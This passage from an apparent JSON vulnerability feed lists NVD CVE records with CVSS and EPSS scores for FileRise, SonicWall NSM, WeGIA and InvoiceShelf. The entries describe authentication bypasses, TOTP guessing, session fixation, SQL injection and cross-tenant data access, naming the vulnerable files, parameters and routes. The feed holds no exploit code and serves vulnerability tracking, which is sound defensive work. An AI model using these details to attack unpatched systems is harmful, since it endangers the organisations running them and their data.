score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110670&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110670, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-104108","cveId":"CVE-2026-104108","aliases":[],"kind":"vulnerability","title":"FileRise is a self-hosted web-based file manager with multi-file upload, editing, and batch operations.","summary":"FileRise is a self-hosted web-based file manager with multi-file upload, editing, and batch operations. Prior to 3.23.0, FileRise maps an authenticated OIDC identity to a local account using mutable preferred_username or email claims and does not require email_verified for email-based naming. An attacker who can obtain provider-issued claims colliding with an existing local username can be logged in as that account, including the built-in administrator, even when automatic provisioning is disabled. Exploitability depends on the configured identity provider allowing the colliding claim. This issue is fixed in version 3.23.0.","detail":"FileRise is a self-hosted web-based file manager with multi-file upload, editing, and batch operations. Prior to 3.23.0, FileRise maps an authenticated OIDC identity to a local account using mutable preferred_username or email claims and does not require email_verified for email-based naming. An attacker who can obtain provider-issued claims colliding with an existing local username can be logged in as that account, including the built-in administrator, even when automatic provisioning is disabled. Exploitability depends on the configured identity provider allowing the colliding claim. This issue is fixed in version 3.23.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T21:17:34.880Z","updatedAt":"2026-10-20T03:17:12.480Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-104108","asOf":"2026-10-20T03:17:12.480Z"},"epss":{"probability":0.00218,"percentile":0.12133,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-104108&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-104108","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-104108","type":"primary","publishedAt":"2026-10-14T21:17:34.880Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-104108&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-104108, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-103977","cveId":"CVE-2026-103977","aliases":[],"kind":"vulnerability","title":"FileRise is a self-hosted web-based file manager with multi-file upload, editing, and batch operations.","summary":"FileRise is a self-hosted web-based file manager with multi-file upload, editing, and batch operations. Prior to 3.23.0, FileRise stores failed TOTP verification attempts in $_SESSION. An attacker who already possesses a target account's valid primary credential can restart the login workflow in a new session and restore the second-factor attempt allowance, permitting continued online TOTP guessing beyond the intended five-attempt limit. The pending-login TOTP handlers did not share a durable account-wide limit. This issue is fixed in version 3.23.0.","detail":"FileRise is a self-hosted web-based file manager with multi-file upload, editing, and batch operations. Prior to 3.23.0, FileRise stores failed TOTP verification attempts in $_SESSION. An attacker who already possesses a target account's valid primary credential can restart the login workflow in a new session and restore the second-factor attempt allowance, permitting continued online TOTP guessing beyond the intended five-attempt limit. The pending-login TOTP handlers did not share a durable account-wide limit. This issue is fixed in version 3.23.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T21:17:33.850Z","updatedAt":"2026-10-20T03:17:12.363Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-103977","asOf":"2026-10-20T03:17:12.363Z"},"epss":{"probability":0.00375,"percentile":0.31241,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-103977&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-103977","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103977","type":"primary","publishedAt":"2026-10-14T21:17:33.850Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-103977&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-103977, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-100232","cveId":"CVE-2026-100232","aliases":[],"kind":"vulnerability","title":"Post-authentication Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability has been identified in the SonicWall Network Security...","summary":"Post-authentication Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability has been identified in the SonicWall Network Security Manager (NSM) on-prem which in specific conditions could potentially enable a remote authenticated attacker to execute arbitrary OS commands, resulting in remote code execution.","detail":"Post-authentication Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability has been identified in the SonicWall Network Security Manager (NSM) on-prem which in specific conditions could potentially enable a remote authenticated attacker to execute arbitrary OS commands, resulting in remote code execution.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T21:17:20.577Z","updatedAt":"2026-10-15T20:38:04.303Z","regions":["Global"],"vendor":null,"product":null,"stacks":["SonicWall"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-100232","asOf":"2026-10-15T20:38:04.303Z"},"epss":{"probability":0.01151,"percentile":0.66686,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-100232&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-100232","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-100232","type":"primary","publishedAt":"2026-10-14T21:17:20.577Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-100232&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-100232, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-55682","cveId":"CVE-2026-55682","aliases":[],"kind":"vulnerability","title":"WeGIA is a web manager for charitable institutions.","summary":"WeGIA is a web manager for charitable institutions. Prior to 3.8.6, the auto-prepended web/html/seguranca/sessionStart.php reflects an attacker-supplied PHPSESSID cookie in a Set-Cookie response and uses DB_HOST as the cookie domain. If a victim authenticates while using the attacker-selected identifier, the attacker can reuse that identifier to hijack the authenticated session. The response also discloses the internal database host name through the cookie Domain attribute, and the vulnerable session handler affects all PHP pages. This issue is fixed in version 3.8.6.","detail":"WeGIA is a web manager for charitable institutions. Prior to 3.8.6, the auto-prepended web/html/seguranca/sessionStart.php reflects an attacker-supplied PHPSESSID cookie in a Set-Cookie response and uses DB_HOST as the cookie domain. If a victim authenticates while using the attacker-selected identifier, the attacker can reuse that identifier to hijack the authenticated session. The response also discloses the internal database host name through the cookie Domain attribute, and the vulnerable session handler affects all PHP pages. This issue is fixed in version 3.8.6.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T20:17:50.487Z","updatedAt":"2026-10-15T14:17:26.393Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-55682","asOf":"2026-10-15T14:17:26.393Z"},"epss":{"probability":0.00435,"percentile":0.37505,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-55682&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-55682","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55682","type":"primary","publishedAt":"2026-10-14T20:17:50.487Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-55682&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-55682, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-55681","cveId":"CVE-2026-55681","aliases":[],"kind":"vulnerability","title":"WeGIA is a web manager for charitable institutions.","summary":"WeGIA is a web manager for charitable institutions. Prior to 3.8.6, an authenticated user with access to the Material & Patrimônio module can submit id_produto to web/html/matPat/restaurar_produto_desocultar.php, where a second extract($_REQUEST) overwrites the value previously sanitized by intval(). The raw value is interpolated into UPDATE statements for the produto, isaida, and ientrada tables. An attacker can execute arbitrary SQL to extract sensitive database records or modify institutional and inventory data. This issue is fixed in version 3.8.6.","detail":"WeGIA is a web manager for charitable institutions. Prior to 3.8.6, an authenticated user with access to the Material & Patrimônio module can submit id_produto to web/html/matPat/restaurar_produto_desocultar.php, where a second extract($_REQUEST) overwrites the value previously sanitized by intval(). The raw value is interpolated into UPDATE statements for the produto, isaida, and ientrada tables. An attacker can execute arbitrary SQL to extract sensitive database records or modify institutional and inventory data. This issue is fixed in version 3.8.6.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T20:17:50.343Z","updatedAt":"2026-10-15T16:18:16.613Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-55681","asOf":"2026-10-15T16:18:16.613Z"},"epss":{"probability":0.00569,"percentile":0.4684,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-55681&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-55681","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55681","type":"primary","publishedAt":"2026-10-14T20:17:50.343Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-55681&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-55681, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-55387","cveId":"CVE-2026-55387","aliases":[],"kind":"vulnerability","title":"InvoiceShelf is an open-source web & mobile app that helps track expenses, payments and create professional invoices and estimates.","summary":"InvoiceShelf is an open-source web & mobile app that helps track expenses, payments and create professional invoices and estimates. In version 2.3.3 and earlier, InvoiceShelf bulk-delete request validation accepts record identifiers without consistently binding them to the authenticated user's company_id. The affected DeleteCustomersRequest, DeleteEstimatesRequest, DeleteExpensesRequest, DeleteInvoiceRequest, DeleteItemsRequest, DeletePaymentsRequest, and DeleteUserRequest validators check that identifiers exist but do not consistently check tenant ownership. An authenticated user can submit another company's identifier and delete cross-company records. This vulnerability is fixed in 2.4.0.","detail":"InvoiceShelf is an open-source web & mobile app that helps track expenses, payments and create professional invoices and estimates. In version 2.3.3 and earlier, InvoiceShelf bulk-delete request validation accepts record identifiers without consistently binding them to the authenticated user's company_id. The affected DeleteCustomersRequest, DeleteEstimatesRequest, DeleteExpensesRequest, DeleteInvoiceRequest, DeleteItemsRequest, DeletePaymentsRequest, and DeleteUserRequest validators check that identifiers exist but do not consistently check tenant ownership. An authenticated user can submit another company's identifier and delete cross-company records. This vulnerability is fixed in 2.4.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T20:17:48.917Z","updatedAt":"2026-10-15T21:08:49.703Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-55387","asOf":"2026-10-15T21:08:49.703Z"},"epss":{"probability":0.00433,"percentile":0.37291,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-55387&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-55387","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55387","type":"primary","publishedAt":"2026-10-14T20:17:48.917Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-55387&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-55387, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-55386","cveId":"CVE-2026-55386","aliases":[],"kind":"vulnerability","title":"InvoiceShelf is an open-source web & mobile app that helps track expenses, payments and create professional invoices and estimates.","summary":"InvoiceShelf is an open-source web & mobile app that helps track expenses, payments and create professional invoices and estimates. Prior to version 2.4.0, InvoiceShelf passes the authenticated user's orderByField query parameter into Laravel orderBy calls in Invoice::scopeApplyFilters without restricting the value to column identifiers. A crafted SQL expression can therefore enter the ORDER BY clause across invoice and other list endpoints, enabling boolean-based blind extraction of database information. This issue is fixed in version 2.4.0.","detail":"InvoiceShelf is an open-source web & mobile app that helps track expenses, payments and create professional invoices and estimates. Prior to version 2.4.0, InvoiceShelf passes the authenticated user's orderByField query parameter into Laravel orderBy calls in Invoice::scopeApplyFilters without restricting the value to column identifiers. A crafted SQL expression can therefore enter the ORDER BY clause across invoice and other list endpoints, enabling boolean-based blind extraction of database information. This issue is fixed in version 2.4.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T20:17:48.773Z","updatedAt":"2026-10-15T21:08:49.703Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-55386","asOf":"2026-10-15T21:08:49.703Z"},"epss":{"probability":0.00363,"percentile":0.29815,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-55386&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-55386","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55386","type":"primary","publishedAt":"2026-10-14T20:17:48.773Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-55386&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-55386, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-55383","cveId":"CVE-2026-55383","aliases":[],"kind":"vulnerability","title":"InvoiceShelf is an open-source web & mobile app that helps track expenses, payments and create professional invoices and estimates.","summary":"InvoiceShelf is an open-source web & mobile app that helps track expenses, payments and create professional invoices and estimates. Prior to version 2.4.0, InvoiceShelf public customer invoice, estimate, and payment routes use an EmailLog token's numeric mailable_id without verifying mailable_type, and the JSON handlers do not enforce EmailLog::isExpired. A token issued for one document type can therefore disclose a different company's document when numeric identifiers collide, and an expired token can remain usable on the JSON routes GET /customer/invoices/{email_log:token}, GET /customer/estimates/{email_log:token}, and GET /customer/payments/{email_log:token}. View handlers can also mark a mismatched invoice or estimate as viewed and send a notification. This issue is fixed in version 2.4.0.","detail":"InvoiceShelf is an open-source web & mobile app that helps track expenses, payments and create professional invoices and estimates. Prior to version 2.4.0, InvoiceShelf public customer invoice, estimate, and payment routes use an EmailLog token's numeric mailable_id without verifying mailable_type, and the JSON handlers do not enforce EmailLog::isExpired. A token issued for one document type can therefore disclose a different company's document when numeric identifiers collide, and an expired token can remain usable on the JSON routes GET /customer/invoices/{email_log:token}, GET /customer/estimates/{email_log:token}, and GET /customer/payments/{email_log:token}. View handlers can also mark a mismatched invoice or estimate as viewed and send a notification. This issue is fixed in version 2.4.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T20:17:48.350Z","updatedAt":"2026-10-15T21:08:49.703Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-55383","asOf":"2026-10-15T21:08:49.703Z"},"epss":{"probability":0.00423,"percentile":0.36318,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-55383&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-55383","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55383","type":"primary","publishedAt":"2026-10-14T20:17:48.350Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-55383&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-55383, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-55382","cveId":"CVE-2026-55382","aliases":[],"kind":"vulnerability","title":"InvoiceShelf is an open-source web & mobile app that helps track expenses, payments and create professional invoices and estimates.","summary":"InvoiceShelf is an open-source web & mobile app that helps track expenses, payments and create professional invoices and estimates. Prior to version 2.4.0, InvoiceShelf NotesController::show, NotesController::update, and NotesController::destroy authorize only the generic view notes or manage notes ability and do not pass the route-bound Note to NotePolicy::viewNotes or NotePolicy::manageNotes, so neither method checks the target note's company_id. Because the Note model has no global company scope, an authenticated staff user with ordinary note abilities can select another company's sequential note identifier and read, modify, or delete its reusable invoice, estimate, and payment note templates. This issue is fixed in version 2.4.0.","detail":"InvoiceShelf is an open-source web & mobile app that helps track expenses, payments and create professional invoices and estimates. Prior to version 2.4.0, InvoiceShelf NotesController::show, NotesController::update, and NotesController::destroy authorize only the generic view notes or manage notes ability and do not pass the route-bound Note to NotePolicy::viewNotes or NotePolicy::manageNotes, so neither method checks the target note's company_id. Because the Note model has no global company scope, an authenticated staff user with ordinary note abilities can select another company's sequential note identifier and read, modify, or delete its reusable invoice, estimate, and payment note templates. This issue is fixed in version 2.4.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T20:17:48.200Z","updatedAt":"2026-10-15T21:08:49.703Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-55382","asOf":"2026-10-15T21:08:49.703Z"},"epss":{"probability":0.00382,"percentile":0.31902,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-55382&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-55382","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55382","type":"primary","publishedAt":"2026-10-14T20:17:48.200Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-55382&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-55382, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-55381","cveId":"CVE-2026-55381","aliases":[],"kind":"vulnerability","title":"InvoiceShelf is an open-source web & mobile app that helps track expenses, payments and create professional invoices and estimates.","summary":"InvoiceShelf is an open-source web & mobile app that helps track expenses, payments and create professional invoices and estimates. Prior to version 2.4.0, POST /api/v1/estimates/{estimate}/convert-to-invoice in ConvertEstimateController authorizes only the caller's create-invoice ability and does not authorize access to the route-bound Estimate. Because route-model binding can resolve an estimate from any company, an authenticated user with create-invoice ability can copy another company's line items, prices, totals, taxes, notes, currency, and customer data into an invoice in the attacker's company. The victim company's configured conversion action reaches checkForEstimateConvertAction and can also change or delete the original estimate. This issue is fixed in version 2.4.0.","detail":"InvoiceShelf is an open-source web & mobile app that helps track expenses, payments and create professional invoices and estimates. Prior to version 2.4.0, POST /api/v1/estimates/{estimate}/convert-to-invoice in ConvertEstimateController authorizes only the caller's create-invoice ability and does not authorize access to the route-bound Estimate. Because route-model binding can resolve an estimate from any company, an authenticated user with create-invoice ability can copy another company's line items, prices, totals, taxes, notes, currency, and customer data into an invoice in the attacker's company. The victim company's configured conversion action reaches checkForEstimateConvertAction and can also change or delete the original estimate. This issue is fixed in version 2.4.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T20:17:48.057Z","updatedAt":"2026-10-15T21:08:49.703Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-55381","asOf":"2026-10-15T21:08:49.703Z"},"epss":{"probability":0.00364,"percentile":0.30012,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-55381&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-55381","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55381","type":"primary","publishedAt":"2026-10-14T20:17:48.057Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 